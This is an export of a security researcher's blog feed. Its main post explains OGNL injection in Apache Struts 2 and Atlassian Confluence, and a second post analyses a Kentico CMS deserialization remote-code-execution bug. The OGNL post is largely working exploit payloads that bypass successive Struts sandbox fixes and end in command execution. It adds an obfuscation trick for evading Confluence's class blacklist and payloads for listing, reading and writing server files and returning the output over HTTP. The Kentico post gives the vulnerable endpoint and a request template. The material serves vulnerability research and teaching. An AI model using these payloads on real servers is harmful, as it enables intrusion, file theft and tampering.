Jekyll2022-07-09T19:16:56+02:00http://localhost:4000//Hans Topo BlogInfosec guy from Tenerife, SpainThe hell of OGNL injection revisited2022-07-09T13:00:00+02:002022-07-09T13:00:00+02:00http://localhost:4000/2022/07/09/ognl-injection-snippets<p>OGNL stands for Object-Graph Navigation Language and it’s a widely used expression language in the Java web world. Its main ability is to provide advanced functionalities on web template rendering, specially on Struts 2 framework and Atlassian WebWork.</p>
<p>OGNL provides access to Java core libraries and can perform code execution on template rendering for web applications, this of course implies certain security concerns, because if a user-supplied input is evaluated as OGNL, it will be able to execute dangerous functions on the server-side.</p>
<p>This post pretends to serve as a guide to better understand how OGNL works, and how frameworks put restrictions in place (and fail) to avoid straightforward OGNL injection explotation by sandboxing its capabilities.</p>
<h3 id="ognl-101">OGNL 101</h3>
<p>It’s recommended to read the <a href="!https://struts.apache.org/tag-developers/ognl">OGNL introduction</a> and <a href="!https://struts.apache.org/tag-developers/ognl-basics">OGNL basics</a> manuals from the Struts project. In this article we will make a brief introduction to OGNL basics to understand how to create OGNL primitives for our injections.</p>
<p>There are two main ways OGNL is evaluated, the first and most common way is through JSP files, inside Struts tags. The second, used mostly by framework internals is calling the OGNL expression parser using the OGNL java library.</p>
<p>An OGNL expression insde a Struts tag on a JSP file looks as follows:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><s:property</span> <span class="na">value=</span><span class="s">"%{obj.field}"</span><span class="nt">/></span>
</code></pre></div></div>
<p>In the case above, <code class="highlighter-rouge">%{obj.field}</code> is an OGNL expression, which access the <code class="highlighter-rouge">obj</code> object and its <code class="highlighter-rouge">field</code> atribute. But where is this object stored? How OGNL access this object through a JSP file? It uses something called The ValueStack.</p>
<p>Didn’t you asked yourself why OGNL stands for Object-Graph Navigation Language? Well, that’s because OGNL uses a graph of objects that can be navigated, just like directories, but instead of folders, we have objects. The default tree is:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>context map---|
|--application
|--session
|--value stack (root)
|--action (the current action)
|--request
|--parameters
|--attr (searches page, request, session, then application scopes)
</code></pre></div></div>
<p>The ValueStack is the default object to be accessed, As its name says, it’s a stack, values are pushed and poped on the stack, but OGNL sees the ValueStack as a single object.</p>
<p>To access other non-root objects (objects which aren’t on the ValueStack) we can use the “#” prefix, for example: <code class="highlighter-rouge"><s:property value="#session['mySessionPropKey']"/></code> or <code class="highlighter-rouge"><s:property value="%{#session['mySessionPropKey']}"/></code> (they are equivalent, the %{} just forces the evaluation).</p>
<h3 id="ognl-syntax">OGNL syntax.</h3>
<p>OGNL isn’t like a programming language, it’s an expression language, and because of that it has a special syntax.</p>
<p>OGNL expressions are written inside <code class="highlighter-rouge">%{}</code> string. And instead of new lines, the sub-expressions are wrapped inside parenthesis and then joined using <code class="highlighter-rouge">.</code>. For example:</p>
<p><code class="highlighter-rouge">%{ (#a = 1).(#b = 2).(a+b) }</code> This will result in <code class="highlighter-rouge">3</code> as the last expression is taken as return value.</p>
<h4 id="variable-declaration">Variable declaration.</h4>
<p>As seen on the example above, to declare a variable in OGNL we can use the <code class="highlighter-rouge">#</code> prefix.</p>
<p>Some examples:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#a=1
#a="abc"
#a=true
</code></pre></div></div>
<h4 id="access-static-objects">Access static objects.</h4>
<p>To access static functions of classes, OGNL provides the <code class="highlighter-rouge">@</code> prefix:
<code class="highlighter-rouge">(#a = @java.lang.String@valueOf('test'))</code> will create an String object with ‘test’ string, note that as we are calling the static valueOf method, we need to use the <code class="highlighter-rouge">@</code>prefix both on the class name and the method name.</p>
<h4 id="conditionals">Conditionals.</h4>
<p>OGNL let you implement conditional branches using the ternary operator <code class="highlighter-rouge">?</code> as in many other languages.</p>
<p><code class="highlighter-rouge">(#os = @java.lang.System@getProperty('os.name')).(#os == 'Linux' ? <true> : <false>)</code></p>
<h4 id="loops">Loops.</h4>
<p>There’s not so much examples about OGNL loops on the internet. To perform loops on OGNL we use the brackets syntax.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#i=0).
(#array.{
(#element=#array[#i]).
(<do something with the element>).
(#i=#i+1)
})
</code></pre></div></div>
<p>I’ve splitted the lines to better understand and read the snippet, but in reality they should be written without new lines.</p>
<p>As you may see, the loop will execute inside the <code class="highlighter-rouge">#array.{ ... }</code> element, and will iterate <strong>for each</strong> <code class="highlighter-rouge">#array</code> element. We declared an index <code class="highlighter-rouge">#i</code> to track which element of the array we are accessing.</p>
<p>Pretty ugly way to loop over arrays, I know.</p>
<h4 id="class-instantiation">Class instantiation.</h4>
<p>You can also instantiate Java classes using its fully qualified name, i.e. <code class="highlighter-rouge">java.lang.String</code> or <code class="highlighter-rouge">java.io.File</code> etc, as OGNL can’t resolve by itself the default java namespaces.</p>
<p>Let’s explain it better some expression snippets.</p>
<p><code class="highlighter-rouge">%{(#a = new java.lang.String('test')}</code></p>
<p>or</p>
<p><code class="highlighter-rouge">%{(#a = @java.lang.String@valueOf('test'))}</code> to call static methods.</p>
<h4 id="inline-hash-instantiation">Inline hash instantiation.</h4>
<p>OGNL allows to instantiate and fill a hash map using a curly braces notation, for example:</p>
<p><code class="highlighter-rouge">%{(#a = #@java.util.LinkedHashMap@{'foo':'value'})}</code></p>
<h3 id="when-ognl-injection-occurs">When OGNL injection occurs?</h3>
<p>OGNL injection occurs when the framework parses untrusted user-supplied data as OGNL. Unlike how it happens on template injection, OGNL injections doesn’t need to be reflected in the output, and usually are not fault of the application developer, but the framework itself.</p>
<p>Let’s see some real life examples to better understand where this injections occurs. S2-045 is a great example of how OGNL injection can occur without beign reflected on the output.</p>
<p>S2-045 refers to a vulnerability in the <code class="highlighter-rouge">MultiPartRequestWrapper</code> method. When and error occurs parsing the <code class="highlighter-rouge">Content-Type</code> header, the error handling mechanism of Struts ends up passing the string inside Content-Type header to <code class="highlighter-rouge">TextParseUtil.translateVariables()</code> method, which evaluates the string as OGNL when the string is inside <code class="highlighter-rouge">%{}</code>.</p>
<p>Two main functions ends-up parsing OGNL <code class="highlighter-rouge">TextParseUtil.findValue()</code> and <code class="highlighter-rouge">TextParseUtil.translateVariables()</code>, many vulnerabilities occur because user-supplied strings ends up as parameters of this functions.</p>
<p>Another fast and easy way for the developer to identify this kind of injections is to test for <code class="highlighter-rouge">%{7*7}</code> on their application input and see if the reflected result is <code class="highlighter-rouge">49</code>.</p>
<h3 id="ognl-sandbox-restrictions-in-struts-2">OGNL sandbox restrictions in Struts 2.</h3>
<p>Struts limits the functionality of OGNL to prevent Java classes from beign instantiated. OGNL uses the attribute <code class="highlighter-rouge">#_memberAccess</code> from the <code class="highlighter-rouge">SecurityMemberAccess</code> object to prevent many objects to load. By default it’s attribute <code class="highlighter-rouge">allowStaticMethodAccess</code> is set to false, this prevents access to static, protected and private methods.</p>
<p>OGNL also provides a blacklist of classes that can be loaded, <code class="highlighter-rouge">excludedClasses</code>, <code class="highlighter-rouge">excludedPackageNames</code> and <code class="highlighter-rouge">excludedPackageNamePatterns</code></p>
<h4 id="bypass-1-before-struts-2314">Bypass 1. Before Struts 2.3.14.</h4>
<p>Before Struts 2.3.20, the <code class="highlighter-rouge">@_memberAccess</code> attribute was accesible, so you could simply stablish the value of <code class="highlighter-rouge">allowStaticMethodAccess</code> to <code class="highlighter-rouge">true</code> like this:</p>
<p><code class="highlighter-rouge">%{(#_memberAccess['allowStaticMethodAccess']=true).(<whatever you want to do>)}</code></p>
<p>Struts team decided to make <code class="highlighter-rouge">allowStaticMethodAccess</code> final, to prevent it’s value from beign changed on runtime.</p>
<h4 id="bypass-2-before-struts-2320">Bypass 2. Before Struts 2.3.20.</h4>
<p>Now, more restrictions are added, the main restrictions are:</p>
<ul>
<li>No constructor calls allowed.</li>
<li>Excluded classes and packages blacklist is added. <a href="https://github.com/apache/struts/blob/master/core/src/main/resources/struts-default.xml#L39">(Check it)</a></li>
</ul>
<p>All this changes affects the <code class="highlighter-rouge">SecurityMemberAccess</code> object, but there’s another weaker version of this security object, the <code class="highlighter-rouge">DefaultMemberAccess</code> <a href="https://github.com/jkuhnert/ognl/blob/OGNL_3_1_15/src/java/ognl/OgnlContext.java#L59">(check it)</a> object, which doesn’t have any of this restrictions. What OGNL exploits for this Struts version does is to asign <code class="highlighter-rouge">#_memberAccess</code> to <code class="highlighter-rouge">@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS</code> to bypass the restrictions.</p>
<p><code class="highlighter-rouge">%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(<whatever you want to do>)}</code></p>
<h4 id="bypass-3-before-struts-2329">Bypass 3. Before Struts 2.3.29.</h4>
<p>Things start to get hard. In this version, <code class="highlighter-rouge">#_memberAccess</code> is no longer available, also <code class="highlighter-rouge">MemberAcces</code> and <code class="highlighter-rouge">DefaultMemberAccess</code> are included on the blacklist.</p>
<p>So, now what? Let’s take a look at the on the wild found exploit for this Struts version.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.excludedClasses.clear()).
(#ognlUtil.excludedPackageNames.clear()).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec('<whatever to execute>'))
</code></pre></div></div>
<p>As you can see, <code class="highlighter-rouge">#context</code> still accessible, so we can get an instance of <code class="highlighter-rouge">OgnlUtil</code> which is not blacklisted and clear the excludedClasses and excludedPackages list. After that using the setter method, we can set the member access to the <code class="highlighter-rouge">DefaultMemberAccess</code>, because excludedClasses is cleared.</p>
<h4 id="bypass-4-before-struts-2516">Bypass 4. Before Struts 2.5.16.</h4>
<p>Researcher Man Yue Mo, from Github Security team, found a way to bypass new security restrictions to exploit CVE-2018-11776 in Struts.</p>
<p>Access to <code class="highlighter-rouge">#context</code> is not available anymore, so we need to find a way to access <code class="highlighter-rouge">ActionContext</code> class.</p>
<p>Man Yue Mo found a way to bypass the <code class="highlighter-rouge">#context</code> access restriction using two requests, the first, access <code class="highlighter-rouge">#context</code> using <code class="highlighter-rouge">#attr['struts.ValueStack'].context</code> and clears <code class="highlighter-rouge">excludedClasses</code> and <code class="highlighter-rouge">excludedPackages</code>.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#context=#attr['struts.valueStack'].context).
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedClasses('')).
(#ognlUtil.setExcludedPackageNames(''))
</code></pre></div></div>
<p>And the second request, sets <code class="highlighter-rouge">#_memberAccess</code> to <code class="highlighter-rouge">DefaultMemberAccess</code> as always.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#context=#attr['struts.valueStack'].context).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec('<whatever to execute>'))
</code></pre></div></div>
<h4 id="bypass-5-before-struts-2522-bypass-of-s2-059">Bypass 5. Before Struts 2.5.22. (Bypass of S2-059)</h4>
<p>CVE-2020-17530 exploits a double-evaluation vulnerability on Struts, similar to the previous one. This vulnerability was found by the great Alvaro Muñoz and Masato Anzai, they didn’t published a bypass for the S2-059 restrictions, but an exploit was found on the wild.</p>
<p>Access to <code class="highlighter-rouge">#context</code> using the <code class="highlighter-rouge">#attr['struts.valueStack']</code> is no longer available, so an alternative way to access <code class="highlighter-rouge">#context</code> need to be found. Also <code class="highlighter-rouge">com.opensymphony.xwork2.ActionContext</code> is now on the blacklist of <code class="highlighter-rouge">excludedClasses</code>.</p>
<p>The exploit is dissected for a better reading experience.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).
(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).
(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).
(#bean.setBean(#stack)).
(#context=#bean.get("context")).
(#bean.setBean(#context)).
(#macc=#bean.get("memberAccess")).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance("java.util.HashSet")).
(#bean.put("excludedClasses",#emptyset)).
(#bean.put("excludedPackageNames",#emptyset)).
(#arglist=#instancemanager.newInstance("java.util.ArrayList")).
(#arglist.add("<whatever to execute>")).
(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).
(#execute.exec(#arglist))
</code></pre></div></div>
<p>As you can see, this exploit depends on Tomcat to be the server where the application is running on (in rare cases Struts applications aren’t run over Tomcat).</p>
<p>It uses the <code class="highlighter-rouge">InstanceManager</code> from Tomcat to call constructors thus bypassing the constructors restriction.</p>
<p>It cleverly uses <code class="highlighter-rouge">BeanMap</code> class from apache commons collection for setting and getting the key classes need to bypadd Struts security restrictions, <code class="highlighter-rouge">context</code>, <code class="highlighter-rouge">#_memberAccess</code>, <code class="highlighter-rouge">
excludedClasses</code> and <code class="highlighter-rouge">excludedPackageNames</code>.</p>
<p>Finally it uses the well-known <code class="highlighter-rouge">freemarker.template.utility.Execute</code> class to execute the commands.</p>
<h4 id="bypass-6-before-struts-2529-bypass-of-s2-061">Bypass 6. Before Struts 2.5.29. (Bypass of S2-061)</h4>
<p>CVE-2021-31805 exists due to an incomplete fix of CVE-2020-17530, so the vulnerability is esentially the same, a double evaluation bug.</p>
<p>Things start to get really confusing. An exploit found in the wild bypasses the restrictions in place when fixing S2-061, let’s take a look at it (the exploit is dissected and simplified for a better understanding).</p>
<p>Now, <code class="highlighter-rouge">org.apache.tomcat.*</code> and many other libraries are included on the <code class="highlighter-rouge">excludedPackageNames</code>, so access to <code class="highlighter-rouge">"org.apache.tomcat.InstanceManager</code> is not available anymore.</p>
<p>A <a href="https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html">security researcher</a> found that OGNL allows to create and populate hash maps by using curly braces at the end of the class name, so there’s no need to first call <code class="highlighter-rouge">InstanceManager</code> to instantiate a <code class="highlighter-rouge">BeanMap</code> as you can just use <code class="highlighter-rouge">BeanMap@{}</code> and OGNL will instantiate the class and populate the map with empty values for you.</p>
<p>There’s no restrictions for accessing <code class="highlighter-rouge">org.apache.commons.collections.*</code> so the bypass is clear.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#request.map=#@org.apache.commons.collections.BeanMap@{})
(#request.map.setBean(#request.get('struts.valueStack')))
(#request.map2=#@org.apache.commons.collections.BeanMap@{})
(#request.map2.setBean(#request.get('map').get('context')))
(#request.map3=#@org.apache.commons.collections.BeanMap@{})
(#request.map3.setBean(#request.get('map2').get('memberAccess')))
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()))
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()))
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec(<whatever to execute>))
</code></pre></div></div>
<p>The first two lines creates a <code class="highlighter-rouge">BeanMap</code> using the curly braces technique, and stores it into <code class="highlighter-rouge">#request.map</code>, you can also use <code class="highlighter-rouge">#application.map</code> or <code class="highlighter-rouge">#attr.map</code>, whatever you want. Then, gets the <code class="highlighter-rouge">ValueStack</code> from <code class="highlighter-rouge">struts.valueStack</code> as seen on previous payloads, setting the and sets the <code class="highlighter-rouge">BeanMap</code> created earlier to the <code class="highlighter-rouge">ValueStack</code> instance.</p>
<p>Then it creates another two other maps, <code class="highlighter-rouge">map2</code> and <code class="highlighter-rouge">map3</code> and repeats the process, this time to get <code class="highlighter-rouge">#context</code> and <code class="highlighter-rouge">#_memberAccess</code> <strong>but</strong> through the first <code class="highlighter-rouge">BeanMap</code> created.</p>
<p>The following steps is to set <code class="highlighter-rouge">excludedPackageName</code> and <code class="highlighter-rouge">excludedClasses</code> to an empty set as seen on previous bypasses.</p>
<p>And finally, <code class="highlighter-rouge">org.apache.tomcat.InstanceManager</code> is accesible again. Using the well-known <code class="highlighter-rouge">freemarker.template.utility.Execute</code> class, we can now execute commands.</p>
<h3 id="ognl-in-the-atlassian-webwork-framework">OGNL in the Atlassian WebWork framework.</h3>
<p>Atlassian products are also affected regularly by OGNL injection vulnerabilities. Particularly, the Confluence server usually get hit by OGNL injections.</p>
<p>Atlassian uses a function named <code class="highlighter-rouge">SafeExpressionUtil.isSafeExpressionInternal()</code> before every OGNL parsing.</p>
<p>Researcher Quang Vo did a <a href="https://mr-r3bot.github.io/research/2022/06/06/Confluence-Preauth-RCE-2022.html">great research</a> on how to bypass <code class="highlighter-rouge">isSafeExpressionInternal</code> security method.</p>
<p>As Struts does, Atlassian Confluence has an excluded classes blacklist:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sun.misc.Unsafe
classLoader
java.lang.System
java.lang.ThreadGroup
com.opensymphony.xwork.ActionContect
java.lang.Compiler
com.attlassian.applinks.api.ApplicationLinkRequestFactory
java.lang.Thread
com.atlassian.core.util.ClassLoaderUtils
java.lang.ProcessBuilder
java.lang.InheritableThreadLocal
com.atlassian.core.util.ClassHelper
class
java.lang.Shutdown
java.lang.ThreadLocal
java.lang.Process
java.lang.Package
org.apache.tomcat.InstanceManager
java.lang.Runtime
javax.script.ScriptEngineManager
javax.persistence.EntityManager
org.springframework.context.ApplicationContext
java.lang.SecurityManager
java.lang.Object
java.lang.Class
java.lang.RuntimePermission
javax.servlet.ServletContext
java.lang.ClassLoader
</code></pre></div></div>
<p>Atlassian dissects the OGNL payload into substrings using an AST parser but Java has the ability to load a class using a string of it’s class name, this is called reflection. Reflection can be done using <code class="highlighter-rouge">Class.forName(<class name>)</code> method.</p>
<p>As you may guess, you can do something like <code class="highlighter-rouge">Class.forName("java.lang.Run" + "time")</code>. But turns out that concatenation doesn’t work when <code class="highlighter-rouge">Ognl.parseExpression()</code> is called with our expression.</p>
<p>So instead of concatenating using the <code class="highlighter-rouge">+</code> operator, we can use the <code class="highlighter-rouge">concat()</code> function mixed with <code class="highlighter-rouge">charAt()</code> and <code class="highlighter-rouge">toChars()</code> methods.</p>
<p>The following payload is the equivalent to write <code class="highlighter-rouge">java.lang.Runtime</code>:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(82)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())
</code></pre></div></div>
<p>This trick is also mentioned in 2020 by the researcher Will Boucher in <a href="https://pulsesecurity.co.nz/articles/EL-Injection-WAF-Bypass">this blog post</a> on how to bypass WAF when there’s an EL Injection.</p>
<h3 id="http-output-of-executed-commands-in-ognl">HTTP output of executed commands in OGNL.</h3>
<p>One thing those bypasses and payloads doesn’t mention is how to get the output of the commands as HTTP output when the result of the OGNL evaluation is not reflected.</p>
<p>Here I describe two ways, the first to get the output of a <code class="highlighter-rouge">String</code> via HTTP output:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#output=#o).(#strIs=new java.io.ByteArrayInputStream(@java.lang.String@valueOf(#output).getBytes())).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#strIs,#ros)).(#ros.flush())
</code></pre></div></div>
<p>And a second one for getting the HTTP output of a <code class="highlighter-rouge">ByteArray</code> stream, to download or read a binary file.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#output=#o).(#strIs=new java.io.ByteArrayInputStream(#output)).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#strIs,#ros)).(#ros.flush())
</code></pre></div></div>
<h3 id="alternative-ognl-primitives-to-avoid-executing-commands">Alternative OGNL primitives to avoid executing commands.</h3>
<p>Both <code class="highlighter-rouge">ProcessBuilder</code> and <code class="highlighter-rouge">freemarker.template.utility.Execute</code> ends up creating a subprocess of <code class="highlighter-rouge">cmd.exe</code> or <code class="highlighter-rouge">/bin/sh</code> and calling the corresponding command to get it’s output. This behavior could be detected by EDR/XDR software as pontentially malicious behavior.</p>
<h4 id="list-files-ls">List files (ls)</h4>
<p>To list files as <code class="highlighter-rouge">ls</code> command does, we need to use an OGNL loop over to read the desired directory.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#fol = new java.io.File('#{ls_path}')).(#fileNames = #fol.list()).(#finalStr=@java.lang.String@valueOf('')).(#i=0).(#fileNames.{(#c=#fileNames[#i]).(#i=#i+1).(#finalStr=#finalStr.concat(#c+\"\\n\"))}).(#o=#finalStr)
</code></pre></div></div>
<p>The file names are stored in <code class="highlighter-rouge">#o</code>, then use the HTTP output primitive to print them over HTTP.</p>
<h4 id="read-files-cat">Read files (cat)</h4>
<p>Get the file as <code class="highlighter-rouge">ByteArray</code>:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#f=new java.io.File('<file_to_read>')).(#o=@org.apache.commons.io.FileUtils@readFileToByteArray(#f))
</code></pre></div></div>
<p>Then use the <code class="highlighter-rouge">ByteArray</code> HTTP output primitive to output the file.</p>
<h4 id="get-current-directory-pwd">Get current directory (pwd)</h4>
<p>This is a simple one:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#pwd = new java.io.File('.').getCanonicalPath()).(#o=#pwd)
</code></pre></div></div>
<h4 id="write-file-using-a-custom-header">Write file, using a custom header.</h4>
<p>This payload will get the file data stored in a custom header named <code class="highlighter-rouge">Data</code> and write it to the desired file path and name.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('Data')).(#f=new java.io.FileWriter('<path to write>',true)).(#f.write(#data)).(#f.close())
</code></pre></div></div>
<p>How about using Base64 to decode the <code class="highlighter-rouge">Data</code> header and allow writing binary data? This is an exercise to the reader!</p>
<h3 id="references">References</h3>
<ul>
<li>CVE-2017-5638: https://medium.com/@lucideus/exploiting-apache-struts2-cve-2017-5638-lucideus-research-83adb9490ede</li>
<li>(S2-057) CVE-2018-11776: https://isecurity.huawei.com/sec/web/viewBlog.do?id=1857</li>
<li>https://securitylab.github.com/research/apache-struts-CVE-2018-11776/</li>
<li>(S2-059) CVE-2019-0230 https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability</li>
<li>(S2-061) CVE-2020-17530: - https://blog.qualys.com/vulnerabilities-threat-research/2021/09/21/apache-struts-2-double-ognl-evaluation-vulnerability-cve-2020-17530</li>
<li>https://securitylab.github.com/research/ognl-injection-apache-struts/</li>
<li>https://securitylab.github.com/research/apache-struts-double-evaluation/</li>
<li>https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/</li>
<li>https://mr-r3bot.github.io/research/2022/06/06/Confluence-Preauth-RCE-2022.html</li>
</ul>OGNL stands for Object-Graph Navigation Language and it’s a widely used expression language in the Java web world. Its main ability is to provide advanced functionalities on web template rendering, specially on Struts 2 framework and Atlassian WebWork.Analysis and explotation of 2019-10068, a Remote Command Execution in Kentico CMS <= 12.042019-10-25T13:00:00+02:002019-10-25T13:00:00+02:00http://localhost:4000/2019/10/25/kentico-cms-rce<p>During a Red Team assesment, it’s important to be able to investigate and successfully exploit public but undisclosed bugs. In this case, I’m going to explain the methodology for analyzing and exploit an undisclosed bug on Kentico CMS, a .NET based enterprise CMS, let’s go!</p>
<p>Firts of all, let’s read the CVE description about the bug:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>An issue was discovered in Kentico before 12.0.15. Due to a failure to validate
security headers, it was possible for a specially crafted request to the staging
service to bypass the initial authentication and proceed to deserialize
user-controlled .NET object input. This deserialization then led to unauthenticated
remote code execution on the server where the Kentico instance was hosted.
</code></pre></div></div>
<p>Ok so this bug it’s about a .NET unsafe deserialization bug before Kentico 12.0.15. From a black-box perspective it could be really time consuming to find all the unauthenticated endpoints and exploit them, so I will need to download a trial version. I was lucky as there were a Kentico 11 (which is vulnerable too) demo available to download… well, not really, but changing the version number when downloading from Kentico demo website just serves an older version of the CMS, let’s say that this is kind of an easter egg.</p>
<p>I also downloaded two hotfixes, available on Kentico website, this hotfixes are for 12.0.15 (the fixed version) and for 12.0.14 (the unfixed one), so we can apply “diff” over the DLLs and see which code changes between this two patches.</p>
<p>Reading a bit more about the vulnerability, I found it’s caused by an usafe SOAP deserialization:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code> An XML encoded SOAP message within an element of the actual SOAP body was being
deserialized by a SOAP Action within the staging web service. The staging service
is used by the application to synchronize changes between different environments
or servers.
</code></pre></div></div>
<p>Now I know I’m looking for a SoapFormatter .NET serializer/unserializer, half of the way done thanks to this description.</p>
<p>Software I used for this analysis:</p>
<ul>
<li>JustAssembly for .NET DLLs diffing.</li>
<li>JustDecompile for .NET DLLs decompile to C# readable code and functions finding.</li>
<li>Kentico CMS hotfixes and Demo version for dynamic analysis and testing.</li>
</ul>
<p>JustDecompile let’s you open a whole .NET compiled project and look for strings, functions, variables… I opened the DLLs contained inside 12.0.5 patch, they are at Kentico/Hotfix120_15/DLLs/NET461. Open JustDecompile, click on Open… > File(s)…, and select all the DLLs inside the folder.</p>
<p>Then, click on Search… and type SoapFormatter, it will look for SoapFormatter functions in the whole project. I had luck that there where only two uses of this function inside CMS.Synchronization.dll module, so it seems that this module is the vulnerable one.</p>
<p><img src="https://github.com/dreadlocked/dreadlocked.github.io/blob/master/images/kentico/1.png?raw=true" alt="soapformatter" /></p>
<p>This function is used inside StagingTaskData class, inside a wrapper Deserialize private method of this class.</p>
<p><img src="https://github.com/dreadlocked/dreadlocked.github.io/blob/master/images/kentico/2.png?raw=true" alt="deserialize1205" /></p>
<p>Let’s compare the CMS.Synchorization.dll between 12.0.15 hotfix and 12.0.14 hotfix to look if this Deserialization method on StagingTaskData have any difference. To do that I used JustAssembly, it let you select two DLLs and it will diff it in a visual way and show you which functions changed.</p>
<p><img src="https://github.com/dreadlocked/dreadlocked.github.io/blob/master/images/kentico/3.png?raw=true" alt="diff" />
<img src="https://github.com/dreadlocked/dreadlocked.github.io/blob/master/images/kentico/4.png?raw=true" alt="diff" /></p>
<p>So it’s clear, this is the function we were looking for, on 12.0.15 (right), they added a middleware class which verifies the StagingTaskData object being received, instead of the raw string deserialization on 12.0.14 (left).</p>
<p>Well, it’s time to find were StagingTaskData objects are instantiated, JustDecompile lets you look for cross-references to classes to see where are they instantiated.</p>
<p><img src="https://github.com/dreadlocked/dreadlocked.github.io/blob/master/images/kentico/5.png?raw=true" alt="usages" /></p>
<p>First match is on CMS.Synchronization.WSE3.dll module, on SyncClient and SyncServer classes, let’s open this module and those classes on JustDecompile to see what are they doing.</p>
<p>On SyncSever class, I find the ULR endpoint to reach its methods, so now I know how to reach a method that uses StagingTaskData, seems the right way.</p>
<p><img src="https://github.com/dreadlocked/dreadlocked.github.io/blob/master/images/kentico/6.png?raw=true" alt="syncserver" /></p>
<p>Looking a bit deeper on SyncServer class methods, I found the ProcessSynchronizationTaskData method, which receives a SERIALIZED StagingTaskData object string as parameter, and instantiates, here we have our unauthenticated endpoint to deserialize an unsanitized object.</p>
<p><img src="https://github.com/dreadlocked/dreadlocked.github.io/blob/master/images/kentico/7.png?raw=true" alt="processsync" /></p>
<p>To test if we can reach this URL by default and also test if my assumtions were true, I’ll use the Kentico CMS 11 demo downloaded before. To reach the endpoint, let’s visit /SyncWebService/SyncServer and… oops! 404. Investigating on Kentico CMS API, I found it uses a baseURL for Staging service at /CMSPages/Staging/, so the final URL for the ASMX method is: /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData. This endpoint will receive the derialized object via POST request.</p>
<p>Let’s then generate a sample evil serialized XML SOAP object string using ysoserial.net with the ActivitySurrogateSelector as gadget and SoapFormatter as payload format.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData HTTP/1.1
Host: ...
...
...
stagingTaskData=<ysoserial.net payload here>
</code></pre></div></div>
<p>Hope you learned something more about .NET applications analysis, this was my first time analyzing a real-world .NET application from stratch to find a RCE bug, so everything was new for me.</p>
<p>Ping me if you find something wrong at gongarcialeon@gmail.com, bye!</p>During a Red Team assesment, it’s important to be able to investigate and successfully exploit public but undisclosed bugs. In this case, I’m going to explain the methodology for analyzing and exploit an undisclosed bug on Kentico CMS, a .NET based enterprise CMS, let’s go![CTF Write-up] Midnightsun CTF Finals Marcololo (web. mid)2019-06-15T13:00:00+02:002019-06-15T13:00:00+02:00http://localhost:4000/2019/06/15/midnightsunctf-marcololo<p>This weekend, Midnightsun CTF Finals took place, a really funny CTF in Stockholm, a lovely place to visit.</p>
